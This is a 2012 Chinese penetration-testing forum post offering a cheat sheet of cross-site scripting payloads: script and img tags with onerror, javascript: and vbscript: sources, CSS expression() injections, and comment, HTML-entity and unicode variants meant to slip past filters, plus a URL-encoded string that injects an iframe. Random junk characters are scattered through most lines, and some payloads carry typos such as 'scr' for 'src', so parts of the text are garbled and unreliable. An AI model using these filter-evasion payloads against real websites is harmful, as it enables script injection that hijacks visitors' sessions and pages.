中国网络渗透测试联盟

标题: 跨站语句大全 [打印本页]

作者: admin    时间: 2012-9-13 17:15
标题: 跨站语句大全
<script>alert("跨站")</script>    (最常用)8 f2 q8 B5 x- }1 b' o; V
<img scr=javascript:alert("跨站")></img>
) S2 e9 _# c: G1 J( F<img scr="javascrip&#116&#58 alert(/跨站/)></img>
# I# s* \2 F" m4 f. |+ I" m; P; c: N  N<img scr="javas????cript:alert(/跨站/)" width=150></img> (?用tab键弄出来的空格)' R/ `( r% n0 K/ G) I
<img scr="#" onerror=alert(/跨站/)></img>- C0 B7 Z* l1 l1 S8 J/ F" d
<img scr="#" style="xss:expression(alert(/xss/));"></img>& t+ }1 x$ ]# h; E
<img scr="#"/* */onerror=alert(/xss/) width=150></img> (/**/ 表示注释)
/ q/ M1 `6 i% c4 B2 u6 ?" h<img src=vbscript:msgbox ("xss")></img>
( v9 ~4 @3 d# O. V+ K7 t3 Q<style> input {left:expression (alert('xss'))}</style>  ~& {" t4 n2 a* q9 H% Z
<div style={left:expression (alert('xss'))}></div>. A  ]" }7 Q5 @/ V2 Y7 k
<div style={left:exp/* */ression (alert('xss'))}></div>
3 b& L- O, d7 `! a9 o: B<div style={left:\0065\0078ression (alert('xss'))}></div>
  P7 r6 E1 b& J, Ahtml 实体 <div style={left:&#x0065;xpression (alert('xss'))}></div>  Q8 C! t/ M) ?" T
unicode <div style="{left:expRessioN (alert('xss'))}">- z) s3 d( z  h  D' Q+ y
' P$ a! Q- }6 a' p  h2 d4 s, v. C" p
"]}%3Cscript%3Ealert('By b14ckb0y')%3C/script%3E{[&item="]<iframe%20src=http://new.qzone.qq.com/9530772%20width=400%20height=600></iframe>["
* d- b' J1 w* T0 r7 u




欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/) Powered by Discuz! X3.2